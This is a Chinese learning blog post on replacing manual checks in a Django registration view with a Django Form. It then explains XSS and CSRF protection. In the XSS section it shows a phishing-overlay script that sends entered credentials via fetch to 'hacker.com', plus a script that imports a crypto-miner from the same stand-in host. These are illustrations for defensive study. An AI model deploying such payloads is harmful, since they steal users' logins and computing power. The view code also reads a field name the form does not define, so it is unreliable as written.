2025-09-05
之前我们在注册阶段采用了一系列的if else来处理可能存在的问题。这儿我们进一步学习一下Django From,同时使用Django Form来处理下表单校验。
Django Form 是 Django 框架内置的一个类系统,专门用来处理 HTML 表单的数据验证和渲染。
一般在用户在网页填表单,通常由如下场景:
生成 HTML 表单元素
验证输入是否合法(不能为空、格式正确等)
显示错误信息
防止恶意输入
而Django Form可以自动验证、自动生成 HTML、安全性内置(自动处理XSS 攻击防护、SQL 注入防护、CSRF 令牌验证等等)。
customer/forms.py文件(新建的)
# 定义表单结构
# 处理数据验证
# 管理表单字段配置
from django import forms
from django.contrib.auth.models import User
class RegisterForm(forms.Form):
user_name = forms.CharField(
max_length=150,
widget=forms.TextInput(attrs={'class': 'form-control'})
)
# 定义字符串类型用户名,限制长度,指定HTML中显示text,
# attrs={'class': 'form-control'}则是限制样式
password = forms.CharField(
min_length=8,
widget=forms.PasswordInput(attrs={'class': 'form-control'})
)
confirm_password = forms.CharField(
widget=forms.PasswordInput(attrs={'class': 'form-control'})
)
# 字段级验证,判断是否存在已有同名用户
def clean_user_name(self):
username = self.cleaned_data['user_name']
if User.objects.filter(username=username).exists():
raise forms.ValidationError("用户名已存在")
return username
# 标单级验证,判断两次密码是否一致
def clean(self):
cleaned_data = super().clean()
password = cleaned_data.get("password")
confirm_password = cleaned_data.get("confirm_password")
if password != confirm_password:
raise forms.ValidationError("两次密码不一致")
大概理解下,类,定义数据类型,然后写函数约束内容。
比较有意思的是用户名和密码获取方式不一样,问了下claude,解释是[]比较直接,空的话直接报错,get更加安全,空的话会返回None。
username = self.cleaned_data['user_name']
password = cleaned_data.get("password")
下面需要修改视图函数,views.py,整体简洁了很多。
def register_view(request):
if request.method == "POST":
form = RegisterForm(request.POST)
if form.is_valid():
# 验证通过,获取清理后数据
username = form.cleaned_data["username"]
password = form.cleaned_data["password"]
User.objects.create_user(username=username, password=password)
messages.success(request, "注册成功,请登录!")
return redirect("login")
else:
form = RegisterForm() # 空表单
return render(request, "customer/register.html", {"form": form})
上文提到了安全性相关的东西,“安全性内置(自动处理XSS 攻击防护、SQL 注入防护、CSRF 令牌验证等等)”
好奇问了下Claude,个人理解如下:
XSS跨站脚本攻击:
简单来说,就是用户在表单中输入JavaScript代码,如果不处理,这些代码会在其他用户浏览器中执行(我靠,还能这么玩,牛)。
我们来理一下。
假设A用户注册时候用了一个JavaScript代码当用户名,然后写了一篇文章。
<script>
// 伪造登录框
document.body.innerHTML = `
<div style="position:fixed;top:0;background:red;padding:20px;width:100%">
<p>系统安全升级,请重新登录:</p>
<input type="text" placeholder="用户名" id="phishing-username">
<input type="password" placeholder="密码" id="phishing-password">
<button onclick="sendCredentials()">登录</button>
</div>
`;
function sendCredentials() {
const username = document.getElementById('phishing-username').value;
const password = document.getElementById('phishing-password').value;
// 发送到黑客服务器
fetch(`https://hacker.com/log?u=${username}&p=${password}`)
}
</script>
B用户被文章吸引,然后无意中点击了A用户主页想看下用户名,结果弹出了这样一个钓鱼窗口,然后无意中输入了账户和密码,然后账号就会被盗走。或者搞个挖矿脚本。
<script>
// 在用户浏览器运行加密货币挖矿脚本
importScripts('https://hacker.com/crypto-miner.js')
</script>
CSRF (跨站请求伪造):
恶意网站诱导已登录用户在不知情的情况下向目标网站发送请求。
唔,大概就是用户登录我们的网站,然后同时又瞎几把登录一些钓鱼网站,然后钓鱼网站会私闷闷伪装成用户访问我们的网站,实施转账啥的。
然后Django防护措施就是搞个Token验证。
这儿得解释个问题,为啥攻击者获取不了Token,因为同源策略限制,即浏览器禁止不同源网站互相访问对方的内容,恶意网站无法获取我们网站的Cookie或者页面内容。
所以如果攻击者直接控制了用户电脑,那就不是CSRF攻击了。